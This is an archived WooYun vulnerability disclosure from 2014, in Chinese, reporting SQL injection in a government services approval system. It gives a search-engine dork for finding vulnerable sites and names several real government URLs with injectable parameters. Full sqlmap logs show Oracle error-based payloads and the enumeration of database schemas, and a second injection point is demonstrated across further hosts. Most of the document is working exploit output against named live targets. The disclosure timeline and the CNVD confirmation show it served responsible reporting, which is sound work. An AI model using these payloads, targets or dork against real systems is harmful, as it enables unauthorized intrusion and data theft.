乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-01: 细节已通知厂商并且等待厂商处理中 2014-08-05: 厂商已经确认,细节仅向厂商公开 2014-08-08: 细节向第三方安全合作伙伴开放 2014-09-29: 细节向核心白帽子及相关领域专家公开 2014-10-09: 细节向普通白帽子公开 2014-10-19: 细节向实习白帽子公开 2014-10-30: 细节向公众公开
rt
WooYun: 某政务类办事软件系统存在通用性SQL注入可跨库2-3 看完大牛的漏洞然后买车买房娶媳妇google inurl:celerityAlleywayDetail.do去掉路径,然后假如下面的注入后缀
注入地址:http://zwdt.tz.gov.cn/riseapprove_web/indexGetDatags.do?depNO=JS061200FG sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://www.sqlmap.org[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 03:32:06[03:32:06] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\zwdt.tz.gov.cn\session' as session file[03:32:06] [INFO] testing connection to the target url[03:32:06] [INFO] testing if the url is stable, wait a few seconds[03:32:07] [INFO] url is stable[03:32:07] [INFO] testing if GET parameter 'depNO' is dynamic[03:32:08] [INFO] confirming that GET parameter 'depNO' is dynamic[03:32:08] [INFO] GET parameter 'depNO' is dynamic[03:32:08] [INFO] heuristic test shows that GET parameter 'depNO' might be injectable (possible DBMS: Oracle)[03:32:08] [INFO] testing sql injection on GET parameter 'depNO'[03:32:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[03:32:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[03:32:12] [INFO] GET parameter 'depNO' is 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' injectable[03:32:12] [INFO] testing 'Oracle AND time-based blind'[03:32:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'GET parameter 'depNO' is vulnerable. Do you want to keep testing the others (ifany)? [y/N] ysqlmap identified the following injection points with a total of 24 HTTP(s) requests:---Place: GETParameter: depNO Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: depNO=JS061200FG' AND 4631=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(111)||CHR(101)||CHR(111)||CHR(58)||(SELECT (CASE WHEN (4631=4631) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(113)||CHR(113)||CHR(100)||CHR(58)||CHR(62))) FROM DUAL) AND 'YsGS'='YsGS---[03:32:22] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle[03:32:22] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes[03:32:22] [INFO] fetching database (schema) names[03:32:23] [INFO] the SQL query used returns 17 entries[03:32:24] [INFO] retrieved: CTXSYS[03:32:25] [INFO] retrieved: DBSNMP[03:32:25] [INFO] retrieved: DMSYS[03:32:26] [INFO] retrieved: EXFSYS[03:32:27] [INFO] retrieved: MDSYS[03:32:28] [INFO] retrieved: OLAPSYS[03:32:29] [INFO] retrieved: ORDSYS[03:32:30] [INFO] retrieved: OUTLN[03:32:30] [INFO] retrieved: QLK[03:32:31] [INFO] retrieved: SCOTT[03:32:32] [INFO] retrieved: SYS[03:32:33] [INFO] retrieved: SYSMAN[03:32:34] [INFO] retrieved: SYSTEM[03:32:35] [INFO] retrieved: TSMSYS[03:32:35] [INFO] retrieved: TZSUNZW[03:32:36] [INFO] retrieved: WMSYS[03:32:37] [INFO] retrieved: XDBavailable databases [17]:[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] QLK[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] TZSUNZW[*] WMSYS[*] XDB[03:32:37] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 34 times[03:32:37] [INFO] Fetched data logged to text files under 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\zwdt.tz.gov.cn'[*] shutting down at 03:32:37
注入地址:http://xzfw.rg.gov.cn/rgzw_data/indexGetDatags.do?depNO=1 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://www.sqlmap.org[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 03:31:10[03:31:10] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xzfw.rg.gov.cn\session' as session file[03:31:10] [INFO] testing connection to the target url[03:31:10] [INFO] testing if the url is stable, wait a few seconds[03:31:12] [INFO] url is stable[03:31:12] [INFO] testing if GET parameter 'depNO' is dynamic[03:31:12] [WARNING] GET parameter 'depNO' appears to be not dynamic[03:31:13] [INFO] heuristic test shows that GET parameter 'depNO' might be injectable (possible DBMS: Oracle)[03:31:13] [INFO] testing sql injection on GET parameter 'depNO'[03:31:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[03:31:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[03:31:19] [INFO] GET parameter 'depNO' is 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' injectable[03:31:19] [INFO] testing 'Oracle AND time-based blind'[03:31:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'GET parameter 'depNO' is vulnerable. Do you want to keep testing the others (ifany)? [y/N] ysqlmap identified the following injection points with a total of 27 HTTP(s) requests:---Place: GETParameter: depNO Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: depNO=1' AND 8753=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(101)||CHR(111)||CHR(112)||CHR(58)||(SELECT (CASE WHEN (8753=8753) THEN 1 ELSE 0 END)FROM DUAL)||CHR(58)||CHR(120)||CHR(99)||CHR(109)||CHR(58)||CHR(62))) FROM DUAL)AND 'nRsr'='nRsr---[03:31:25] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: Oracle[03:31:25] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes[03:31:25] [INFO] fetching database (schema) names[03:31:26] [INFO] the SQL query used returns 19 entries[03:31:26] [INFO] retrieved: CTXSYS[03:31:27] [INFO] retrieved: DBSNMP[03:31:28] [INFO] retrieved: DMSYS[03:31:29] [INFO] retrieved: EXFSYS[03:31:30] [INFO] retrieved: MDSYS[03:31:31] [INFO] retrieved: OLAPSYS[03:31:31] [INFO] retrieved: ORDSYS[03:31:32] [INFO] retrieved: OUTLN[03:31:33] [INFO] retrieved: QLK[03:31:34] [INFO] retrieved: RGDJ[03:31:35] [INFO] retrieved: RGDZJC[03:31:36] [INFO] retrieved: RGSZWZX[03:31:37] [INFO] retrieved: SCOTT[03:31:37] [INFO] retrieved: SYS[03:31:38] [INFO] retrieved: SYSMAN[03:31:39] [INFO] retrieved: SYSTEM[03:31:40] [INFO] retrieved: TSMSYS[03:31:41] [INFO] retrieved: WMSYS[03:31:42] [INFO] retrieved: XDBavailable databases [19]:[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] QLK[*] RGDJ[*] RGDZJC[*] RGSZWZX[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB[03:31:42] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 36 times[03:31:42] [INFO] Fetched data logged to text files under 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xzfw.rg.gov.cn'[*] shutting down at 03:31:42
第二枚注入
http://58.221.232.44:9080/riseapprove_web/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27http://zwdt.tz.gov.cn/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27http://222.184.252.158:9080/riseapprove_web/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27Error 500: StatementCallback; bad SQL grammar [select count(*) from (select s.depname , s.depno , c.* from (select * from suppower where item_name like '%11'%' order by org_id ) c left join appdepartment s on c.org_id = s.depno where c.SRV_DIRECTORY is not null and length(SRV_DIRECTORY) > 0 order by s.depno) tmp]; nested exception is java.sql.SQLException: ORA-00911: 无效字符
详细说明
过滤
危害等级:高
漏洞Rank:13
确认时间:2014-08-05 09:41
CNVD确认并复现所述情况,按测试用例,已经转由CNCERT下发给江苏分中心处置。
暂无